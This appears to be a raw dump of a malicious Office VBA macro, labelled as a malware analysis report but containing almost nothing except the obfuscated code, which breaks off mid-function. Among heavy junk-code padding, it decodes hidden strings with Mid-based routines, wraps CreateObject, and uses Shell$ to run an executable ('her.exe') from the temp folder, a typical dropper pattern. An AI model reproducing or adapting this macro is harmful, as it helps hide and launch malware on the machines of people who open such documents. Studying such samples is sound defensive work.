Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "Module1"
Function ozmue(omadp)
Dim oouppe As Variant
oouppe = "oeeaoetmvfcbuuivkea"
Dim pftcnfb As Double
pftcnfb = -50532.31659
Rem xaaidjnjhp07vvzykmitsyayufwyqrgjjcg9
Dim abyokdcw2 As Boolean
abyokdcw2 = False
Dim uiknllo
uiknllo = ""
Rem aalrxjdkvpeaimuojsydoxyonhrkuihoemgryvsrn
Dim izsisgp As Boolean
izsisgp = False
Rem myfs
Rem mpzwnpl
Rem wxaphzoyoktvzzmi77
Rem ljyjpyodjoytf
Dim gjtcyhgo
gjtcyhgo = "bieztlthxioakermienpnkhkgnrzuaiz"
For qw = 0 To 1
Shell$ Environ("tmp") & omadp
omadp = "\her.exe"
Next qw
Dim eciayjm As Integer
eciayjm = 9390
' owdeaeyjhqpraxvctsxkhknkgeo62
' ybofpynyqzrvpvuqouwpzpuudpeeiukjethyi
Rem bftvzbglsnkpzaxubdwnvqzhsaa59
' uzuyjccb
Dim awui As Integer
awui = 24801
Dim vkaxyi As Integer
vkaxyi = -14973
Rem rhqldbuefbgtjrmzqgxsyemp1
Dim aikuvbjt
aikuvbjt = "eeoegreortnieasrhaaryflijnyeeiapkxeaiysv"
rakhia = 8
oouvza = 9
Do While rakhia < oouvza
rakhia = rakhia + 3
Loop
kmvoapo = 5
oaonfk = 11
Do While kmvoapo < oaonfk
kmvoapo = kmvoapo + 3
Loop
End Function
Private Function uega83(ofesa)
kwlacwea = 9
yyze = 0
Do While kwlacwea > yyze
kwlacwea = kwlacwea - 2
Loop
Rem dbqubpksadpiudhaayukhydnbzfalpjtdrnmniie35
aaiic = 10
yionti = 19
Do While aaiic < yionti
aaiic = aaiic + 3
Loop
Dim uidcavfu As Boolean
uidcavfu = True
Dim twyjnicqbj25 As Variant
twyjnicqbj25 = "eesjucblbcltylotcatqxllxivvejsccgnhoeghiyebmy"
Dim uoigop As Integer
uoigop = 28711
Rem ddksvioutohdfxgeqkviy29fqjcnwikgossuu
Dim oacsde
oacsde = "iiqirpbaiijlvrbfuoywgejxdwcy"
Dim bijja4 As Double
bijja4 = 28012.46358
Dim yiei As Boolean
yiei = True
Dim yeiue As Boolean
yeiue = True
etniyzkd = 1
oeshdhorm20 = 4
Do While etniyzkd < oeshdhorm20
etniyzkd = etniyzkd + 3
Loop
Dim ebrcnb
ebrcnb = "woayiuaywyijghbarwnnihtouwoymweiadydewzcjuj"
' elvyzjn
Dim iexfnjmnm As Variant
iexfnjmnm = "8479"
Dim rgtrpcuo As Double
rgtrpcuo = -41397.17356
Dim aigpeq
aigpeq = "crerswkmzijydfozldfvrg"
Dim deyu
deyu = "kaao"
Dim ztulown As Integer
ztulown = 18853
Rem eywmufmjzeqynrcnfwukny
End Function
Function onwxuu(ByVal tbjmat As Variant, ByVal lsgkrro, ecuia As String) As Double
Dim ibbua As Double
ibbua = 12316.21414
' ozgrtiebvuyyoxmld
Rem vvaedqewhsnuwaeb10qgalozhzgolybai8
Dim bgaaa As String
bgaaa = "hqdayeozpqe"
Rem ylgjugvcrqxjdriwhuoao
Dim sqyiov As Double
sqyiov = 487.62797
Dim uveu6 As String
uveu6 = "sdyiofgibieauaerl"
Dim vwir
vwir = "xlazgeripnbkezviimuaaoodrywtskpuqtaeuxo"
Dim aueny As Integer
aueny = -18967
Dim fvuob As Boolean
fvuob = True
Dim nmkxo
nmkxo = "osbyeuuuapfleifbigvjkcafievgtn7"
Dim atcoiwa As Boolean
atcoiwa = True
Dim bpxzay99 As Double
bpxzay99 = 65550.38651
' tnaeaixfjqoeo05
End Function
Public Function ioou42(ByVal lbcfu)
Dim yauo As String
yauo = "eeosbeyaawuhbwnznstguyytueapmplje"
Dim yqkoudxe As String
yqkoudxe = "29665"
Dim osnygtxh As Boolean
osnygtxh = True
oeatsc = 3
xjyyuv = 8
Do While oeatsc < xjyyuv
oeatsc = oeatsc + 1
Loop
Rem uuuyrkiydgaxjdnsewh
Rem kb
' urzocgubeazyyiaujmhvsutkymrsnw
Rem dcpfaaiqqpeaymvvqio59xbdfrwiyzairxftiioyggoe
Rem gpbhjgetvkkxktdyoteiaakni
sxkfme = 7
xatpb = 7
Do While sxkfme > xatpb
sxkfme = sxkfme - 2
Loop
Dim yybrqx As Integer
yybrqx = -22027
Dim iodzmh
iodzmh = "iocglwtouiiziwjiovfjfbeaubomxeei"
Dim ugujuu8
ugujuu8 = "roytlvyfuiwwkpcpuatawghyf"
Dim ytaie As Double
ytaie = 54535.35915
Rem zgucejxzdkb
Dim ilctmmo2 As Double
ilctmmo2 = 818.60259
End Function
Public Function uukeqsy(ByVal eaia)
Dim orbufng
orbufng = "yohekztlbu95"
Rem ojduamnepcatgcikikmbeeefnouyiaauoyqktvllriclvvueauiuwghq
Dim gxsqffzykg
gxsqffzykg = "nscv"
' jjxdjeymmadqedoriadd
' aiadpefpibdevzjjkwyyuyay2xixkceuigk
Rem emzyuiruyixxi
phjykfpce = 9
ucjoccyp = 0
Do While phjykfpce > ucjoccyp
phjykfpce = phjykfpce - 4
Loop
Dim mlectvg
mlectvg = "geomgwsjoauyxcaalifalmsmoe7"

Dim vvucdi As Integer
vvucdi = -7641
' wjxifphyabgpe
Dim dgnlas
dgnlas = ""
Rem ykfckhjwgaxuqh1txsmcwqkceixmooia
Rem xsiuoeiktcwhukmbjeeyukccqeuxwketpamxwbnuauhbeioemsbfp
Dim uuueut
uuueut = "iotqaejx"
' emxjoeeoofguyovhkrzgepiy4uyyii
End Function
Function ioyi81() As Double
Dim oyytgtl As Variant
oyytgtl = "-19049"
Dim mzyde As Boolean
mzyde = True
Dim nashheo5 As String
nashheo5 = "oqouaarwhdsmcr"
ywqaax = 8
gyoy = 10
Do While ywqaax < gyoy
ywqaax = ywqaax + 4
Loop
' spulkooyowouaumqkxuijhjceu7nllrrukgmeuvp
' jjiznduiklbplioytexhkfwbimusgcqoioqqrdeedt
buoiaw = 2
rbaanj = -1
Do While buoiaw > rbaanj
buoiaw = buoiaw - 3
Loop
gvxwmy = 6
riqcupn = 6
Do While gvxwmy < riqcupn
gvxwmy = gvxwmy + 3
Loop
Rem muc
Dim gneyoj
gneyoj = "ywwawjyaizbta3"
dgctzvp = 4
eaete06 = -2
Do While dgctzvp > eaete06
dgctzvp = dgctzvp - 2
Loop
Rem bcpzpsizbtlytkacusizsiympnbprhjduaborb
' uabnfksiypi2dctuhmrgeqvnssj
Dim eesceo As Boolean
eesceo = True
End Function
Function tiqtr(jhpqrpku As Variant) As Variant
Dim olqdc As String
olqdc = "672"
icwwog = 5
zppfa = 6
Do While icwwog < zppfa
icwwog = icwwog + 2
Loop
Dim kzieugj
kzieugj = ""
Dim vikag As Boolean
vikag = True
Rem wxexexlqveeipxyftvjqu
Dim gdoia As Variant
gdoia = "28179"

Dim ikotec
ikotec = "yruioe40"
Dim arghdny
arghdny = "juudho"
End Function
Function yeeivpy2(cvjoyep)
' tttdjxwgjo
Rem ytystaaiiyofbvtidup
Dim uuyy As Variant
uuyy = "ioxnakruyielehzokwietnihsvorwjuohlpppxuuwlakpoy"
Dim jgeoizw As Variant
jgeoizw = "20998"
Dim ajspxva
ajspxva = "gpwtayiyfvawfaiuiyvyongi"
Rem ayyau
ytclyr40 = 1
oyuaox = -2
Do While ytclyr40 > oyuaox
ytclyr40 = ytclyr40 - 2
Loop
Dim yiujcuzf
yiujcuzf = "rgoieaqhpzaoiidaefccvzgzxhyvyo"
joslfqcl = 4
Dim eynzaw3 As String
eynzaw3 = "pqphnmojbqwicpsvnuoytukvvikym"
Dim ksavmfma6 As Variant
ksavmfma6 = "s"
eutevp2 = 5
sbihpt9 = 10
Do While eutevp2 < sbihpt9
eutevp2 = eutevp2 + 4
Loop
' xumfivhvooqoaauznqcrjvczumxyaoaacodqiuoixo
lubbpnlzb = 5
vkvqqrepva = 8
Do While lubbpnlzb < vkvqqrepva
lubbpnlzb = lubbpnlzb + 1
Loop
Rem ieyloyuowyiliibvzirneeb
swdqgtpm = 8
tgyzjto = 13
Do While swdqgtpm < tgyzjto
swdqgtpm = swdqgtpm + 2
Loop
' ghepqpgsethzvaobofimnawtjatdmywwvyoatqdzjomyxynbayhijh
Dim liybu As Variant
liybu = "iueyureuclokghi"
Dim yhnvuy3 As Integer
yhnvuy3 = 2120
Rem eeooiiyaibuieuurt
kmxuwb = joslfqcl
Rem jfk
' iiuymordrceygkeueeyzg
Rem ndjkqifjyjyckpinbocv
Dim oaea7 As String
oaea7 = "iejzoesuwkoebbpfigrmisdjbww"
Dim tpuep3
tpuep3 = "iaiiuahaxjcirquuoebksmfrjpsuaegxkeyhgbsyutozbqhu"
rxayke = 1
vnwuqgp = 5
Do While rxayke < vnwuqgp
rxayke = rxayke + 5
Loop
Do While wnsnmoy3 < 221
' tyglehhayxci0
etlwu8 = 9
eirri6 = 11
Do While etlwu8 < eirri6
etlwu8 = etlwu8 + 1
Loop
Dim hjurvuy
hjurvuy = "hqpwquyiousleazqhgo0"
Dim orxjttu As Boolean
orxjttu = False
' uegqyoijaayanswaeaelj
Dim tnnly38 As String
tnnly38 = "wlbeqyumpyiskzqtayziaitqcoeisdeudaowyblcredkefp88"
Dim rbsrdo
rbsrdo = "aqbpxyqezbmofyueit"
uyimmzd = 10
itfxu = 15
Do While uyimmzd < itfxu
uyimmzd = uyimmzd + 5
Loop
fuqu = fuqu + Mid(cvjoyep, joslfqcl, 1)
Rem j
Dim uuohr As String
uuohr = "12990"
fzvzxoee = 7
lgeihsrqr9 = 11
Do While fzvzxoee < lgeihsrqr9
fzvzxoee = fzvzxoee + 5
Loop
Dim viyeff As Boolean
viyeff = True
Dim uuuiclp As Boolean
uuuiclp = False
' lkfrvsjzqqgeayyjveji4tppxwbniyoahmaaythitbzmwonuxawsqtavz
Dim rjoxzvwvh3 As Variant
rjoxzvwvh3 = "umnntjgrszciktjbobvaaiohro"
ocoaswsh2 = 6
igez90 = 13
Do While ocoaswsh2 < igez90
ocoaswsh2 = ocoaswsh2 + 1
Loop
' uqviilgzokedbz9
Dim ntyvbut As String
ntyvbut = "apzzqaemgjawkumw"
wdoish = 8
rikiu = 7
Do While wdoish > rikiu
wdoish = wdoish - 2
Loop
' cipzooyngegtyldufxcbsszzffabsfeobe59
joslfqcl = joslfqcl + kmxuwb
Dim leepm
leepm = "bou"
Rem lzzoqsynsjslcutbvjzwlro4
Rem ofbwvuytngzykyibhpoubfbpzodx
Rem aaimmzjiowjmaiothba
rktaxyo0 = 10
qwaede = 19
Do While rktaxyo0 < qwaede
rktaxyo0 = rktaxyo0 + 1
Loop
Rem ikcftfzhjtyeygfeqvlumue
' ufmapcijwofyxja7
qyzq = 8
hjukrgnna = 12
Do While qyzq < hjukrgnna
qyzq = qyzq + 5
Loop
Dim eraeprct
eraeprct = "ysqauumjmyeoq"
Dim vqblzb As String
vqblzb = "-9948"
wnsnmoy3 = wnsnmoy3 + 1
' jjafovpriezzaeictnixoornv6iegxilvdquonscl
Dim iexwne As Boolean
iexwne = False
Dim rtzip As String
rtzip = "azfdavwdjoqnzcsguuoahrkubgo"
' vrugiuiafn
Dim gtudnwvb
gtudnwvb = "ffgrjzvjvmybplqedzzzdayiifq"
' auekeoppaltiqvqvuaeambseeotcyyesjevqvnol
' ljycjyehpouwhjuymdskyuvwiifiudblqyyqofpbcoomnltssera2
Rem uiceoervieywjijtklyolmtmaleargeyodzilxvy
Rem fucvuyoeubthdzuiyiaorpysvpgejtiokgcaultioeok
Loop
Dim zzzambksi As Boolean
zzzambksi = False
' ldozyhxuubkzedadkepwrmehmoovdxswlurhkvtiaokooukrmzdmykhohqlxbmy
' cettrjdspsoypxwy
iqcis = 6
aqnggw = 6
Do While iqcis < aqnggw
iqcis = iqcis + 5
Loop
Rem yokbei2pyiwabca87
' iltvoegonoudnau
Rem yorluivwa0kkuoqtxdbhofvnfdekrzyygrevfuhpcytae89
Dim vgeawy7 As Integer
vgeawy7 = -22157
Rem anolhlqgrviejsiytvbsiuaasdii1
Rem hmfqynviyomjiasegcdjoz4
hbbjido = 2
uosdlum7 = 7
Do While hbbjido < uosdlum7
hbbjido = hbbjido + 5
Loop
Dim ohtua As Boolean
ohtua = False
yeeivpy2 = fuqu
' flsgammmvymmsgkytqxtlnpyoauwnusouuslvdoaossmmjsn
zptfackn3 = 9
mstux = 4
Do While zptfackn3 > mstux
zptfackn3 = zptfackn3 - 5
Loop
' uzryyniepfeuto
Dim kexai As Boolean
kexai = True
End Function
Function nxzxerf() As String
' yjkfhyovsbsyalwyozbugsyy
Dim aoeuo9
aoeuo9 = "wsrimbpgyexbuhunertxnyaitzaaudyggviu39"
Rem nmicsehzqjykzswouquoiclp
Rem evzhmoqigrqf0oovxloyiaaoagy
Rem vtaecy
' qiubhp
Rem hcrputkaaqmqovviexuoyuarwige
sajg = 10
teoke = 10
Do While sajg < teoke
sajg = sajg + 1
Loop
Rem wjvjihkeyuuaarsidquuqhhgzqunwxbeltoohriyntexernowuaijxiabzsgbcuxhnf
Rem ubzie
Dim nreto9 As Integer
nreto9 = 21416
' ks
Rem aguxofcieezwslanuzfkwsoeelmiijj81iautnzrciaiizhhnguplg
Dim yovzay As Integer
yovzay = -27631
Dim ctari
ctari = "ans"
Dim vjoe
vjoe = ""
Dim fgauh As Double
fgauh = -63054.25619
' orirniyyoacucphlzkczmxckiwgmnunxx
' riasxveiqugyyxroafhtfoykfilapkrfaadjaiyoyuuuoezosu
Dim gvumu As String
gvumu = "cdzzeuuawtyawriabegauujjylqjumomdyysxtkze"
fhtpoucy = 5
ptnvjc75 = 1
Do While fhtpoucy > ptnvjc75
fhtpoucy = fhtpoucy - 3
Loop
' juptfcivurf
' accering0njzornkmkiiopcaykqaisb9
End Function
Private Function yuutk(ByVal ftmtaqsmn As Variant) As Double
Rem eivnpaucmenlfw
Dim ueixum
ueixum = "mzlscyhhwrvksieyhxuoopnieuczz"
' iniuwkbsneolorioiltcj
Dim unreqx
unreqx = "hrfwpmojhonaqzia"
udachu = 8
ekwji = 14
Do While udachu < ekwji
udachu = udachu + 3
Loop
Dim lmcvu00 As Double
lmcvu00 = 63893.45679
bqayhjf = 3
bpzwpbf = 4
Do While bqayhjf < bpzwpbf
bqayhjf = bqayhjf + 4
Loop
' oimmouuhjjtcgvzdnapdoipyoqqthuyfgneueo
gwdgnwe = 4
ouqdijs = 3
Do While gwdgnwe > ouqdijs
gwdgnwe = gwdgnwe - 2
Loop
Dim ypdyddo As Boolean
ypdyddo = True
Dim yeoewtst As Variant
yeoewtst = "agtvqipnbagbysm"
youupqnq = 1
ukvyo = 8
Do While youupqnq < ukvyo
youupqnq = youupqnq + 4
Loop
Rem aapjepxjstwfuuusiirbqfitkoyeeobikpaiturzaaheebbvc
Dim zrgzyy
zrgzyy = "qsycr"
' yalwauawsyfmbucmwplbjh
sbuylss = 3
uaagt4 = 1
Do While sbuylss > uaagt4
sbuylss = sbuylss - 1
Loop
End Function
Function uxui(yiuomm59)
' pireylykuhaotnayrssadwvoauthagwjk
ohhyeuxf = 8
ieho = 9
Do While ohhyeuxf < ieho
ohhyeuxf = ohhyeuxf + 4
Loop
Rem ocyoeyiarnpbwhrdaifhamj95
Dim kkdyg As Double
kkdyg = 4313.44137
' qnuayheublfngdaeaf
Dim efvfpe5 As Integer
efvfpe5 = -19878
If DateDiff("yyyy", "12/12/12", "12/12/13") Then
Dim moxzjy As Boolean
moxzjy = True
Rem awkbnyiyyabrsc08lziakeeiauaobbmyiiiuubhou
' yrfbgmzqsayainbodmiyomzkouee
Dim oioigvkv As Variant
oioigvkv = "ynqkioimfquxeizfsltoyfeoaoelka"
' zgjlyluexicckewsmaaeuooywaoetoruoywaabcsprveaejieo1
zgeiqlt = 5
invxiqp = 5
Do While zgeiqlt < invxiqp
zgeiqlt = zgeiqlt + 5
Loop
Set uxui = CreateObject(yiuomm59)
Rem hxohqbkkuioyuaelevgzwuznietbyxltzlquwfa
Rem iaavqtiquuippnaumr13yivlsceiwhakzoaajavfoae
Dim jqckvha
jqckvha = "qzwbg3"
Rem oglrsbzyeyegueytj
Dim lvuey As Integer
lvuey = -26243
Dim yaey
yaey = "jgutuevwyxruxam"
Dim ezmrp
ezmrp = "fahw"
Dim iejbhqr32
iejbhqr32 = "feuplu"
gukklx4 = 9
eaygiu = 0
Do While gukklx4 > eaygiu
gukklx4 = gukklx4 - 4
Loop
zaarr = 4
moylhiu = 3
Do While zaarr > moylhiu
zaarr = zaarr - 3
Loop
End If
Dim unzto
unzto = "zusboioy"
Dim ayjsdx As Double
ayjsdx = 53127.33095
eigpat = 4
iyglae = -2
Do While eigpat > iyglae
eigpat = eigpat - 4
Loop
' nzflrgzj
End Function
Function lsustpmr2(euvd47)
Rem xsxptyayiiqrounxuuwckaejgi
' vrgtioioithaeu
Dim uuyue90 As Integer
uuyue90 = 5474
Dim npupte As Boolean
npupte = True
ckuvgu5 = 3
ieyexfa = 3
Do While ckuvgu5 > ieyexfa
ckuvgu5 = ckuvgu5 - 5
Loop
' sfgsbhjylyyadlcmkvsbep
' twgodramjjnugvyytxqiesppuetskstitibtpnz
' oajdeyraylkvyg
Rem kuiscwavbsctgbnrvtcdtuondarqcfmeywduafr
whhy = 4
qfmxr70 = -3
Do While whhy > qfmxr70
whhy = whhy - 4
Loop
onkkryse = 3
' olsryyeyooxbdgud09
' wdteoeailzsdirjdpiitpelwcjcgauziyayeyazhu
Rem ngudkvgvyeybptrporkeuzidwpzaldzqxwzojiiuylyrbx
rxuub = 7
sfitfjwe = 2
Do While rxuub > sfitfjwe
rxuub = rxuub - 3
Loop
eehkeq = onkkryse
Rem aehaiojyqlzruhqolhoofuihlnxwemayqoaiutdlgonyucevmjuamxfieu
Rem v
Rem jqpi
Dim imzae
imzae = "psyubbhndgeoalzxei"
yuxpztr0 = 5
nqlooa = 13
Do While yuxpztr0 < nqlooa
yuxpztr0 = yuxpztr0 + 1
Loop
Dim kaurai
kaurai = "eoeutnvshgerqogwinenhy"
xklonia = 7
awtnolq = 2
Do While xklonia > awtnolq
xklonia = xklonia - 3
Loop
Dim ijqmyu As Double
ijqmyu = -61275.54563
Rem oiyytnftjpjejbusl00uamniecqvcomnjdevleouqxktodv
Dim wsyfvzea30
wsyfvzea30 = "kuqoumopicreao"
Dim uqbyy As Double
uqbyy = -7097.17623
oiaovb1 = 9
areyufp = 8
Do While oiaovb1 > areyufp
oiaovb1 = oiaovb1 - 1
Loop
Do While ochiaya < 40
Dim kiunwqzgv
kiunwqzgv = "uyxoikydiacdpreezgdikvlyulgbwovvlzvaokeyniurdexhi76"
' cgvjnuwpzszzucaioorjddwxdmkuarnmufoiidbadq2qxodje
Dim ptajqq As Variant
ptajqq = "-29732"
kfeshhs = 5
uzzyio = 11
Do While kfeshhs < uzzyio
kfeshhs = kfeshhs + 1
Loop
Rem dbaawqjhkmyybqe5yuyuuyejkjfmwwdsoyigoy
Dim bzurmo3 As Integer
bzurmo3 = 7623
' ynliogqoyzljiytveooyejrvi
Dim scoqc
scoqc = "eiqdyleieihsmuoaabyycfjf"
bjixe = 3
qlyey = 6
Do While bjixe < qlyey
bjixe = bjixe + 1
Loop
ijfll = 3
rieeint = 8
Do While ijfll < rieeint
ijfll = ijfll + 3
Loop
' akkauvbffbfoauljfnuvbpnxuqbptiyozzbvea
hvxoi = hvxoi + Mid(euvd47, onkkryse, 1)
Dim mkoqgy As Double
mkoqgy = -11567.2038
' ostidwbhcuijlldulakqmjuubygblouepryeiewrxauyxpx
geuwm74 = 2
mslmuoymq = -2
Do While geuwm74 > mslmuoymq
geuwm74 = geuwm74 - 3
Loop
Rem ruabbdycnqyidebauftqqvouhvhiawigugssjgiehrowzxouqja
Rem eayleqkuokgiysawjnkeewvzyczanoiocjcayuvryaiyuirmy
Rem uohkiilxkngfogvglaahqcyiahd
Dim sjkjpruqwgn72 As String
sjkjpruqwgn72 = "opsgpubnauo"
Dim lyphu6 As Variant
lyphu6 = "uefdamseuaoqkbpt"
Dim yuyeiy71
yuyeiy71 = "iiammvcelkcxeirdaainjnshpofya"
Dim mtrulai
mtrulai = "ieefzrnikruwxhbfzacjcwmzypkammzbwqwqkcovvinytnxsoehuaak"
Rem wqyiwslwadgcitvrhnubifheyoeenjvauomuawtathvupgdmdyolqzh
onkkryse = onkkryse + eehkeq
kwlpqsnio = 7
szudbs98 = 9
Do While kwlpqsnio < szudbs98
kwlpqsnio = kwlpqsnio + 1
Loop
Rem uxbagsuefspyoqxouyhlyoidtyiauesjourzi
Dim ieifniqv As Variant
ieifniqv = "-2539"
Dim oiozr As Integer
oiozr = -4779
Dim pyjkye2 As Integer
pyjkye2 = 30569
qauai = 8
hxiwwuytw7 = 9
Do While qauai < hxiwwuytw7
qauai = qauai + 4
Loop
ochiaya = ochiaya + 1
Dim aidnus As Boolean
aidnus = False
Dim natetp As Boolean
natetp = True
' cpsajhefjtldwzncaidroegnfsougyfzhmzxvoiiyhurmcn01
Rem ixwayftklolymcvm
uwjijm = 4
erxiclyw = 4
Do While uwjijm > erxiclyw
uwjijm = uwjijm - 4
Loop
zjtuepgzz = 9
uiiqgog = 2
Do While zjtuepgzz > uiiqgog
zjtuepgzz = zjtuepgzz - 1
Loop
hoodhhd9 = 5
zyxqpduf = 7
Do While hoodhhd9 < zyxqpduf
hoodhhd9 = hoodhhd9 + 3
Loop
Dim ayio As Integer
ayio = -6219
Loop
uekg = 4
bfyfckvze5 = 0
Do While uekg > bfyfckvze5
uekg = uekg - 5
Loop
Dim gahbfy As Variant
gahbfy = "eysjrrouteoiuulkwhewgflekrtjgifvviagmhevtueszoi07"
' goixgjfxwuyiepo
Dim axvhjo As Variant
axvhjo = "youabgui"
Rem xicjikyoidjeamjmxrbppogkjxzabb
' bhymommivelgxhghnhzludyxne
ruadt = 3
alnmpnz = 8
Do While ruadt < alnmpnz
ruadt = ruadt + 5
Loop
vrdlz = 7
lnczei5 = 1
Do While vrdlz > lnczei5
vrdlz = vrdlz - 4
Loop
Rem ihpuacyeooahqyrzikrkuxa
Rem itychviwjdgqhmpvuisjhpuxykudynkfuyibujg
Rem ysxnieddktoahvsgyyvjqy
lsustpmr2 = hvxoi
krqtauje = 2
urbdeau68 = 8
Do While krqtauje < urbdeau68
krqtauje = krqtauje + 5
Loop
eynyiy = 9
astrxfs = 13
Do While eynyiy < astrxfs
eynyiy = eynyiy + 1
Loop
uwxtscli59 = 9
uedu42 = 4
Do While uwxtscli59 > uedu42
uwxtscli59 = uwxtscli59 - 2
Loop
vlxeeo72 = 9
ygyjjss = 4
Do While vlxeeo72 > ygyjjss
vlxeeo72 = vlxeeo72 - 3
Loop
Dim nzafrri As Variant
nzafrri = "vgkuehmjaaxbbtkapatbvtpcaiiia"
Dim bnet
bnet = "aayuuhbine"
Dim xryyi As Variant
xryyi = "10416"
End Function
Function oreewx(ByVal ezjof86 As Variant, rpsrkdd As String)
Dim iuauvq2
iuauvq2 = "abbulrvcsilemtfxuieqcseiehhh"
Dim rgczniy As Variant
rgczniy = "-12578"
Dim eseii As Double
eseii = -3299.32066
Rem eyhldnzzdddreoabbmjkcouqkueydswbf6
Dim yuoyul
yuoyul = "yfvtf05"
Rem iodxqiyusljvkxhzufyoil28zhdtriqdabfaejphdopjublw
Dim ynxpa
ynxpa = "uiljzbibpfoooiiapnheuyvwspkgchavpvdluzbaarlshusm"
ctuhq = 6
ookmea39 = 2
Do While ctuhq > ookmea39
ctuhq = ctuhq - 1
Loop
Dim lwrxrmts As String
lwrxrmts = "3114"
Dim jrsqttozt80
jrsqttozt80 = "mqouhpmyyxyoimwceymkawqdwjmeskugjflyjcflxmyavbueo"
Dim mexya
mexya = "zkuckmbaeyjecpmsauazqbieeuekfensyu"
Dim qhxwodvbj As Variant
qhxwodvbj = "jbhttmyavvxtnlueabpzyvjqwwrocyvgyjnx"
Dim ilqyi As Integer
ilqyi = -17659
' efboai04
' oiubu
End Function
Function aeefi58(kaevn)
Dim ayzsz As String
ayzsz = "euioqygvyrohoznyloyabbixd"
Dim uilhd
uilhd = "oertcvufwy"
' rqbplgrpceeulxgzwonvggcgtkiyyeblxouawg
Dim maelpy32 As Variant
maelpy32 = "anvouiyuoafjofy"
Dim psaeyf As Boolean
psaeyf = False
Dim iniwz As Variant
iniwz = "19347"
Dim ekqjtpw
ekqjtpw = "axsbfbjzsoisncamofvouulsznyecp"
Dim ygsoa
ygsoa = "kiyyovualhea"
' whrulvqcyyhpeyulzopsgublkwvpzuuxxeuoclh
Dim xpexqeydb05 As Variant
xpexqeydb05 = "djyiayyeucaxunkaimwxfrieymoqsocecrks"
xdifxn = 3
Dim coeln74
coeln74 = "aessowwu2"
' bbgeoismvouhzxtmye5
jagctmo = 9
twzeqv = 6
Do While jagctmo > twzeqv
jagctmo = jagctmo - 5
Loop
bfeukh = 1
ueoyup = 8
Do While bfeukh < ueoyup
bfeukh = bfeukh + 4
Loop
Rem jkblpehnxmaduni3ovlxmpu
Dim oyyao
oyyao = "idwfoycsvgahhjequuffjnqroypzosakdkugxwni"
' hhseemecleaiuauqha
' gugribqevwfyyebkqaiiy
' vhtk
Rem pysbiiirhxmhckkjciemfaou0neu
yieuej = xdifxn
Dim aejzrh As Double
aejzrh = -26832.21283
' vhchyneeuzoexaeekemonrd07
' cwmzotgwyuirzcnovniojxfsliarmumtoboiyoesu9hdidtrusmftapxxieowtj
Dim tkmho
tkmho = "gnhywwaiiaakwoyyjzdowrpuyavreoyayjeynvqqablqcboslu"
Do While yxcvszlm45 < 113
' uhbgnygvusxkblmeukee
Dim uyygs
uyygs = "iyygxdlyqdpgpjsweooi"
Rem vmusjnqxppreqfvaoyvsqsyfau9
Dim yenzay9
yenzay9 = "eeaohoibaqeaaxxpaoyhnhpiyhdelwhwyouimga"
' ycyfizmelioonouxjsurusljbhxktfcyo
Dim yuauo
yuauo = "yoeaadupyqmnqcvtielv"
Rem wwuaajmtayecusfzfoeruiaedhsquy1nkuioqifbdgoimvyigb
' iwfeyixcgiaejtxcindujueuogqbdieraszviqbu
' pqiliimqanuuphxyimseocaewqeveqj
' mgeqtyaeeaigslqjnoyoiy
ewliea = ewliea + Mid(kaevn, xdifxn, 1)
syao = 1
yktcu = 4
Do While syao < yktcu
syao = syao + 4
Loop
Dim yzkooja As Double
yzkooja = 22187.518
' uouylyufqffeok
xdifxn = xdifxn + yieuej
Dim mwrjxlvj
mwrjxlvj = "hiupw"
Rem qnaeueggiomxjueqqgayhsl
Dim axseoanz As Double
axseoanz = 34343.13543
yxcvszlm45 = yxcvszlm45 + 1
' ey
Rem aeqwiwfid
' fdhtadkjnogvfdbiphpxfwhddpaqbjaqongahyds
Dim xyvtm79 As String
xyvtm79 = "2078"
Rem bpffljvakeithjbgtaziwapc
Dim mqjhnvsc As Variant
mqjhnvsc = "mptaxdyyhvasp"
Dim ywqxkxytc
ywqxkxytc = "wvw"
' igxhceiudtxzaujwqtmxss0
pjygd = 9
afmya = 9
Do While pjygd > afmya
pjygd = pjygd - 3
Loop
Dim unkvcka As Integer
unkvcka = -20256
Loop
afnk = 4
ajwwi = 6
Do While afnk < ajwwi
afnk = afnk + 3
Loop
Rem gveuiufyaofhuiwkfgdts
Dim ajjwki8
ajjwki8 = ""
Rem ruyrkl
Rem ulgieefwoltuqlohthyuz
Dim zsmlaxtjtw
zsmlaxtjtw = "yuzyoyaukz3"
Dim speas
speas = "zdyooiimpiyetsfjpoeaxpph"
aeefi58 = ewliea
hoko = 5
qzyveou = 2
Do While hoko > qzyveou
hoko = hoko - 3
Loop
admll3 = 5
mkooevd = 7
Do While admll3 < mkooevd
admll3 = admll3 + 4
Loop
Dim gxdfdbkp As Variant
gxdfdbkp = "kctmmiixvbqlucdigpfyyqtaazdawyhoog"
' gzcgicbyzkazwogurcueseyamkqbzyratfeuu
' vvxeutp30iaeexcfya
vheiu4 = 3
aynruoq28 = 1
Do While vheiu4 > aynruoq28
vheiu4 = vheiu4 - 5
Loop
End Function
Function aevq(rqouhhj)
Dim ypcos
ypcos = "evbarqiywkvjrmixquigheyvmedraardda"
auyaxf47 = 4
owrlvgp = 5
Do While auyaxf47 < owrlvgp
auyaxf47 = auyaxf47 + 5
Loop
Dim ootmoqh
ootmoqh = "iusakzjmzxojc95"
opurqd = 4
Rem rjtxmtda11vgzxhmwsceqmxnkbkbfbiiuikeeoy
Dim noakhm As Double
noakhm = -24718.60361
Dim opoa
opoa = "urearblurzkoi"
xeujq = opurqd
Dim uhmeoo As Variant
uhmeoo = "-20848"
Rem qeplgeiamvufagrunfdpkb
Rem oukxotbacnnkiiompdlquoieeienpeeavnqror
Dim dbhholjo4
dbhholjo4 = "iuxyruqqyodkcnnhchykya"
osiu13 = 1
povy9 = 6
Do While osiu13 < povy9
osiu13 = osiu13 + 1
Loop
Dim ubsqha09 As Variant
ubsqha09 = "fbywrswhcyoqxvxhseji"
Rem ukpbmwmaxukppeg0yoxjatmaznusnrchuncqgerjyigdro93
Dim uxcey
uxcey = "ieueoyrzyebaoyvjuqlyocpraicqo"
Rem oeecsjbylzaszyxqrbn
Dim ytyjf
ytyjf = "ivktiulkuvcuybmewjkqbuyuoy"
Rem bxnlqubrqqhcdhohgintaywrdnrraeaxnuumzlyictljzsic
Do While ukplhc < 98
Rem ggcsbcdwzzqagyewdgdzneo
Dim yhdhehr As String
yhdhehr = "25690"
Dim iyho
iyho = "aylnuyyuncappohdushoaomhuqdyawckq"
pjqdey = 4
yvfeqd = 11
Do While pjqdey < yvfeqd
pjqdey = pjqdey + 4
Loop
Dim erhee4
erhee4 = "iagfssjsawirskehluianc"
Dim yfujs As Double
yfujs = 35135.36914
' iarucbhqaupeohciuoyuyee9
Dim lrdtatwt82 As Variant
lrdtatwt82 = "-9696"
